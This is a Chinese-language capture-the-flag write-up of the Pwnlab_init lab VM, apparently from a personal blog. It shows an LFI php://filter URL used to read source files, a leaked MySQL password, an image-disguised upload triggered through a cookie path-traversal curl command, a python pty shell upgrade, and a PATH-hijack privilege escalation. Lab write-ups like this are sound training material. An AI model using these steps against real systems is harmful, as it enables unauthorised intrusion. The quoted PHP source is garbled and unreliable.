Pwnlab_init

0x00 信息收集

image-20200312222253552

image-20200312222520688

发现80端口的url是这样的

http://192.168.0.104/?page=login
http://192.168.0.104/?page=upload

  1. 可能存在 LFI 漏洞
  2. 构造URL http://192.168.0.104/?page=php://filter/convert.base64-encode/resource=login
  3. 发现可以包含读到文件,然后base64解密

image-20200312223045306

代码如下

—login.php—

<?php session_start();require("config.php");server, password, $database);if (isset(POST['pass'])) { POST['user']; _POST['pass']);$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?"); $stmt->bind_param('ss', $luser, $lpass); $stmt->execute(); $stmt->store_Result(); if ($stmt->num_rows == 1) { $_SESSION['user'] = $luser; header('Location: ?page=upload'); } else { echo "Login failed."; } <?php }Username: Password: } else { ?>

跟着再把require中的config读出来

<?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>%

顺便也把index和upload的也读了

—index—

image-20200312234059880

—upload—

1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "
"; } else { die('Error 4'); } } } ?>

%

在上面已经拿到了MySQL的账号密码了,而且在用nmap扫的时候已经发现3306端口是开放的。

mysql -h 192.168.0.104 -u root -D Users -p密码是config文件的那个

image-20200312224817346

拿到用户名

0x01 Bypass

登录上传文件试试,上面的源码已经知道只能上传图片后缀的文件,而且还判了文件类型和mime

image-20200312225323119

加个图片标志绕过

burp上传回来个相对路径 upload/51c65dd716e81189745d6eb1c9f1bb6b.gif

image-20200312230453184

让他弹回来 用cookie传入路径

curl –cookie “lang=../upload/51c65dd716e81189745d6eb1c9f1bb6b.gif” “http://192.168.0.104"

拿到了

image-20200312231440117

python -c ‘import pty;pty.spawn(“/bin/bash”)’ 获取一个tty

用之前数据库里拿到的三个账号尝试登陆

image-20200312231648685

0x02 提权

思路是这样的

1.从截图可以看到,这是一个ELF 32位 LSB执行文件,但是当我们执行文件的时候,报错了

2.通过报错信息我们可以看到msgmike调用cat命令读取/home/mike/msg.txt文件

针对这种情况,我们可以通过设置bash的$path环境变量来利用

3.然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,

4.则会先从当前目录来寻找cat指令,相当于我们自己创建一个读文件的cat指令,用这个指令来

5.读新建取/home/mike/msg.txt文件,我们新建一个cat文件,并添加执行权限

6.这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),

我们就会提升到mike权限

image-20200312232750822

image-20200312232900069

image-20200312232907099

打赏
  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2015-2020 Loki
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信